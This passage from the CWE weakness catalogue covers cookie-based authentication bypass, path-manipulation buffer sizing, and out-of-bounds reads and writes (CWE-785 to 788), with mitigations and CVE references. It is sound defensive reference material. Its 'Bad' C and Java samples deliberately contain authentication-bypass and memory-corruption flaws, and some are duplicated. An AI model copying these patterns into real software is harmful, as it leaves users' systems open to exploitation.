DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

**Example 3:**

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(Bad)

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

**Observed Examples**

Reference	Description
<b>CVE-2009-1549</b>	Attacker can bypass authentication by setting a cookie to a specific value. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1549">https://www.cve.org/CVERecord?id=CVE-2009-1549</a>
<b>CVE-2009-1619</b>	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1619">https://www.cve.org/CVERecord?id=CVE-2009-1619</a>
<b>CVE-2009-0864</b>	Content management system allows admin privileges by setting a "login" cookie to "OK." <a href="https://www.cve.org/CVERecord?id=CVE-2009-0864">https://www.cve.org/CVERecord?id=CVE-2009-0864</a>
<b>CVE-2008-5784</b>	e-dating application allows admin privileges by setting the admin cookie to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5784">https://www.cve.org/CVERecord?id=CVE-2008-5784</a>
<b>CVE-2008-6291</b>	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." <a href="https://www.cve.org/CVERecord?id=CVE-2008-6291">https://www.cve.org/CVERecord?id=CVE-2008-6291</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

## Notes

### Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

## References

[REF-706]Steve Christey. "Unforgivable Vulnerabilities". 2007 August 2. < <http://cve.mitre.org/docs/docs-2007/unforgivable.pdf> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

**Weakness ID** : 785

**Structure** : Simple

**Abstraction** : Variant

### Description

The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH\_MAX.

### Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
ChildOf		676	Use of Potentially Dangerous Function	1394

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX\_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	DoS: Crash, Exit, or Restart	

## Potential Mitigations

### Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

## Demonstrative Examples

### Example 1:

In this example the function creates a directory named "output\<>" in the current directory and returns a heap-allocated copy of its name.

*Example Language: C*

*(Bad)*

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (GetCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX\_PATH bytes.

## Affected Resources

- Memory
- File or Directory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	972	SFP Secondary Cluster: Faulty String Expansion	888	2199

## Notes

### Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: File System
Software Fault Patterns	SFP9		Faulty String Expansion

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-786: Access of Memory Location Before Start of Buffer

**Weakness ID** : 786

**Structure** : Simple

**Abstraction** : Base

### Description

The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.




### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*


Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf		124	Buffer Underwrite ('Buffer Underflow')	313
ParentOf		127	Buffer Under-read	323

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*


Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*



Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2272

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart  <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i>	
Integrity	Modify Memory Execute Unauthorized Code or Commands  <i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.</i>	

### Demonstrative Examples

#### Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

*Example Language: C*

*(Bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer overwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

### Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(Bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

### Example 3:

The following is an example of code that may result in a buffer overwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C

(Bad)

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

## Observed Examples

Reference	Description
<b>CVE-2002-2227</b>	Unchecked length of SSLv2 challenge value leads to buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2227">https://www.cve.org/CVERecord?id=CVE-2002-2227</a>
<b>CVE-2007-4580</b>	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4580">https://www.cve.org/CVERecord?id=CVE-2007-4580</a>
<b>CVE-2007-1584</b>	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1584">https://www.cve.org/CVERecord?id=CVE-2007-1584</a>
<b>CVE-2007-0886</b>	Buffer underflow resultant from encoded data that triggers an integer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0886">https://www.cve.org/CVERecord?id=CVE-2007-0886</a>
<b>CVE-2006-6171</b>	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6171">https://www.cve.org/CVERecord?id=CVE-2006-6171</a>
<b>CVE-2006-4024</b>	Negative value is used in a memcpy() operation, leading to buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4024">https://www.cve.org/CVERecord?id=CVE-2006-4024</a>
<b>CVE-2004-2620</b>	Buffer underflow due to mishandled special characters <a href="https://www.cve.org/CVERecord?id=CVE-2004-2620">https://www.cve.org/CVERecord?id=CVE-2004-2620</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf	V	884	CWE Cross-section	V	884 2327
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)		1154 2250

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts

## CWE-787: Out-of-bounds Write

**Weakness ID :** 787

**Structure :** Simple

**Abstraction :** Base

### Description

The product writes data past the end, or before the beginning, of the intended buffer.

### Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf	V	121	Stack-based Buffer Overflow	303
ParentOf	V	122	Heap-based Buffer Overflow	307
ParentOf	B	123	Write-what-where Condition	310
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	313
CanFollow	B	822	Untrusted Pointer Dereference	1604
CanFollow	B	823	Use of Out-of-range Pointer Offset	1606
CanFollow	B	824	Access of Uninitialized Pointer	1609
CanFollow	B	825	Expired Pointer Dereference	1612

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2272

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Assembly (Prevalence = Undetermined)

**Technology** : ICS/OT (Prevalence = Often)

### Alternate Terms

**Memory Corruption** : Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
	Execute Unauthorized Code or Commands	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Potential Mitigations

**Phase: Requirements**

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Phase: Architecture and Design***Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

**Phase: Build and Compilation***Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Operation***Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation***Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).*

#### Demonstrative Examples

##### Example 1:

The following code attempts to save four different identification numbers into an array.

*Example Language: C*

*(Bad)*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id\_sequence[3] is out of bounds.

##### Example 2:

In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

*Example Language: C*

*(Bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

##### Example 3:

This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

#### Example 4:

This code applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ('&' == user_supplied_string[i]){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i]){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

#### Example 5:

In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.



Example Language: C

(Bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer overwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

#### Example 6:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(Bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests `MAX_NUM_WIDGETS`, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

#### Example 7:

The following code may result in a buffer overwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

Example Language: C

(Bad)

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

### Observed Examples

Reference	Description
<b>CVE-2021-21220</b>	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21220">https://www.cve.org/CVERecord?id=CVE-2021-21220</a>
<b>CVE-2021-28664</b>	GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-28664">https://www.cve.org/CVERecord?id=CVE-2021-28664</a>
<b>CVE-2020-17087</b>	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-17087">https://www.cve.org/CVERecord?id=CVE-2020-17087</a>
<b>CVE-2020-1054</b>	Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-1054">https://www.cve.org/CVERecord?id=CVE-2020-1054</a>
<b>CVE-2020-0041</b>	Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-0041">https://www.cve.org/CVERecord?id=CVE-2020-0041</a>
<b>CVE-2020-0968</b>	Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-0968">https://www.cve.org/CVERecord?id=CVE-2020-0968</a>
<b>CVE-2020-0022</b>	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) <a href="https://www.cve.org/CVERecord?id=CVE-2020-0022">https://www.cve.org/CVERecord?id=CVE-2020-0022</a>
<b>CVE-2019-1010006</b>	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). <a href="https://www.cve.org/CVERecord?id=CVE-2019-1010006">https://www.cve.org/CVERecord?id=CVE-2019-1010006</a>
<b>CVE-2009-1532</b>	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption <a href="https://www.cve.org/CVERecord?id=CVE-2009-1532">https://www.cve.org/CVERecord?id=CVE-2009-1532</a>
<b>CVE-2009-0269</b>	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0269">https://www.cve.org/CVERecord?id=CVE-2009-0269</a>
<b>CVE-2002-2227</b>	Unchecked length of SSLv2 challenge value leads to buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2227">https://www.cve.org/CVERecord?id=CVE-2002-2227</a>
<b>CVE-2007-4580</b>	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4580">https://www.cve.org/CVERecord?id=CVE-2007-4580</a>
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4268">https://www.cve.org/CVERecord?id=CVE-2007-4268</a>
<b>CVE-2009-2550</b>	Classic stack-based buffer overflow in media player using a long entry in a playlist <a href="https://www.cve.org/CVERecord?id=CVE-2009-2550">https://www.cve.org/CVERecord?id=CVE-2009-2550</a>
<b>CVE-2009-2403</b>	Heap-based buffer overflow in media player using a long entry in a playlist

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-2403">https://www.cve.org/CVERecord?id=CVE-2009-2403</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### References

- [REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < <http://phrack.org/issues/49/14.html> >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < <http://seclists.org/vuln-dev/2004/Jan/0022.html> >.
- [REF-56]Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.
- [REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.
- [REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.
- [REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.
- [REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.
- [REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-788: Access of Memory Location After End of Buffer

**Weakness ID** : 788

**Structure** : Simple

**Abstraction** : Base

### Description

The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.





### Extended Description

This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf		121	Stack-based Buffer Overflow	303
ParentOf		122	Heap-based Buffer Overflow	307
ParentOf		126	Buffer Over-read	320


*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

